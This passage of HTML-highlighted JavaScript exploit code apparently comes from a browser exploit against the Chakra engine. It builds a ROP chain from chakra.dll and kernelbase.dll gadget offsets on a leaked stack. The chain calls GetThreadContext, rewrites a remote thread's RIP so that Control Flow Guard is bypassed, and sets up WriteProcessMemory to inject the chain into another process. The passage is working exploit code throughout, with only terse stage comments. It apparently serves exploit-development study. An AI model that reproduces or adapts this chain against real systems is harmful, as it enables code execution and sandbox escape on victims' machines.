    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a108</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we will store the VirtualAlloc allocation</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x313349</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)</span>
    <span class="nx">next</span><span class="p">();</span>

    <span class="c1">// Save VirtualAlloc_allocation+0x30. This is the offset in our buffer (CONTEXT structure) that is ContextFlags</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x22b732</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18022b732: add rax, 0x10 ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x22b732</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18022b732: add rax, 0x10 ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x22b732</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18022b732: add rax, 0x10 ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>        <span class="c1">// 0x180046377: pop rcx ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a110</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we will store CONTEXT.ContextFlags</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x313349</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)</span>
    <span class="nx">next</span><span class="p">();</span>

    <span class="c1">// We need to set CONTEXT.ContextFlags. This address (0x30 offset from CONTEXT buffer allocated from VirtualAlloc) is in kernelbase+0x21a110</span>
    <span class="c1">// The value we need to set is 0x10001F</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>        <span class="c1">// 0x180046377: pop rcx ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a110</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll with CONTEXT.ContextFlags address</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x0010001F</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// CONTEXT_ALL</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x313349</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)</span>
    <span class="nx">next</span><span class="p">();</span>

    <span class="c1">// HANDLE hThread</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a100</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where our thread HANDLE is</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (RAX already has valid pointer)</span>
    <span class="nx">next</span><span class="p">();</span>

    <span class="c1">// LPCONTEXT lpContext</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a108</span><span class="o">-</span><span class="mh">0x8</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where our VirtualAlloc allocation is (our CONTEXT structure)</span>
    <span class="nx">next</span><span class="p">();</span>                                                                      
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x255fa0</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret</span>
    <span class="nx">next</span><span class="p">();</span>

    <span class="c1">// Call KERNELBASE!GetThreadContext</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x72d10</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!GetThreadContext address </span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!GetThreadContext)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// "return address" for KERNELBASE!GetThreadContext - 0x180243949: add rsp, 0x38 ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)         </span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38     </span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38        </span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38        </span>
    <span class="nx">next</span><span class="p">();</span>

    <span class="c1">// Locate store CONTEXT.Rsp and store it in .data of kernelbase.dll</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>        <span class="c1">// 0x180046377: pop rcx ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a110</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we stored CONTEXT.ContextFlags</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x4c37c5</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>		<span class="c1">// 0x1804c37c5: mov rax, qword [rcx] ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x26f73a</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18026f73a: add rax, 0x68 ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>        <span class="c1">// 0x180046377: pop rcx ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a118</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we want to store CONTEXT.Rsp</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x313349</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)</span>
    <span class="nx">next</span><span class="p">();</span>

    <span class="c1">// Update CONTEXT.Rip to point to a ret gadget directly instead of relying on CreateRemoteThread start routine (which CFG checks)</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x26f72a</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18026f72a: add rax, 0x60 ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x28b4fe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>	   <span class="c1">// ret gadget we want to overwrite our remote thread's RIP with </span>
	<span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xfeab</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>        <span class="c1">// 0x18000feab: mov qword [rax], rcx ; ret  (Context.Rip = ret_gadget)</span>
    <span class="nx">next</span><span class="p">();</span>

    <span class="c1">// WriteProcessMemory() ROP chain (Number 4)</span>
    <span class="c1">// Stage 9 -&gt; Write our ROP chain to the remote process, using the JIT handle and the leaked stack via GetThreadContext()</span>

    <span class="c1">// SIZE_T nSize (R9)</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000100</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T nSize (0x100) (CONTEXT.Rsp is writable and a "full" stack, so 0x100 is more than enough)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
